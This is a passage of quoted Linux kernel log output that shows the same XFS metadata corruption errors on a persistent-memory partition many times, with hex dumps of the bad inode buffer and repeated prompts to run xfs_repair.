metadata buffer: > [ 87.671866] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671867] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671868] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671869] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671877] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671879] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671881] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671890] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671891] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671891] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671892] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671893] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671895] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671896] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671897] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671898] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671899] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671917] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671918] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671919] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671920] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671921] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671922] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671923] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671924] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671926] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671927] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671973] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671975] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671975] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671976] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671977] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671978] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671979] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671980] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671982] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671983] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671990] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671991] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671992] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671993] ffff88040fac4000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671994] ffff88040fac4010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671995] ffff88040fac4020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671996] ffff88040fac4030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671997] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671998] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672002] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672036] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672038] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672038] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672039] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672040] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672041] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672042] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672043] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672044] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672046] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672087] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672088] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672089] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672090] ffff88040fac4000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672091] ffff88040fac4010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672092] ffff88040fac4020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672093] ffff88040fac4030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672094] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672096] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672097] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672104] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672105] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672106] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672107] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672108] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672108] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672109] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672110] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672112] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672113] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672124] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672126] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672127] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672129] ffff88040fac4000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672130] ffff88040fac4010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672131] ffff88040fac4020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672133] ffff88040fac4030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672134] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672137] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672140] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672183] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672184] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672185] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672186] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672187] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672188] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672189] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672190] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672191] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672193] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672200] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672200] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672201] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672202] ffff88040fac4000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672203] ffff88040fac4010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672204] ffff88040fac4020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672205] ffff88040fac4030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672206] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672208] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672209] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672221] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672225] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672226] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672227] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672228] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672228] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672229] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672230] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672232] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672233] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672278] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672279] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672280] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672281] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672282] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672283] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672284] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672285] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672286] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672288] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672295] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672296] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672296] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672298] ffff88040f7f1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672299] ffff88040f7f1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672300] ffff88040f7f1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672301] ffff88040f7f1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672302] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672303] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672304] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672315] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672316] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672317] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672318] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672319] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672320] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672321] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672322] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672324] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672325] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672379] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672380] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672381] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672382] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672383] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672384] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672385] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672386] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672387] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672389] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672396] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672397] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672398] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672399] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672400] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672401] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672402] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672403] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672404] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672405] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672424] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672425] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672426] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672428] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672429] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672430] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672430] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672431] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672433] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672434] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672479] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672481] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672483] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672485] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672486] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672487] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672488] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672490] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672492] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672494] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672504] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672506] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672507] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672508] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672509] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672511] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672513] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672515] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672517] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672519] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672537] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672539] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672540] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672541] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672542] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672542] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672543] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672545] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672546] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672547] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672590] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672592] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672593] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672594] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672596] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672597] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672599] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672600] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672602] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672604] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672617] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672618] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672619] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672621] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672623] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672624] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672626] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672628] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672630] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672632] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672649] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672650] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672652] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672653] ffff88040f116000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672653] ffff88040f116010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672654] ffff88040f116020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672655] ffff88040f116030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672656] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672658] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672659] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672704] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672705] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672705] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672706] ffff88040d3f3000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672707] ffff88040d3f3010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672709] ffff88040d3f3020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672710] ffff88040d3f3030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672711] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672712] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672713] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672721] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672721] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672722] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672723] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672724] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672725] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672726] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672727] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672729] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672730] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672741] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672742] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672743] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672744] ffff88040d3f3000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672745] ffff88040d3f3010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672746] ffff88040d3f3020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672747] ffff88040d3f3030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672748] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672749] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672750] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672790] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672791] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672792] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672793] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672794] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672795] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672796] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672797] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672798] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672800] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672806] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672807] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672808] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672809] ffff88040d3f3000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672810] ffff88040d3f3010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672811] ffff88040d3f3020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672812] ffff88040d3f3030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672813] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672815] XFS (pmem0p2): metadata I/O error: block 0x480080 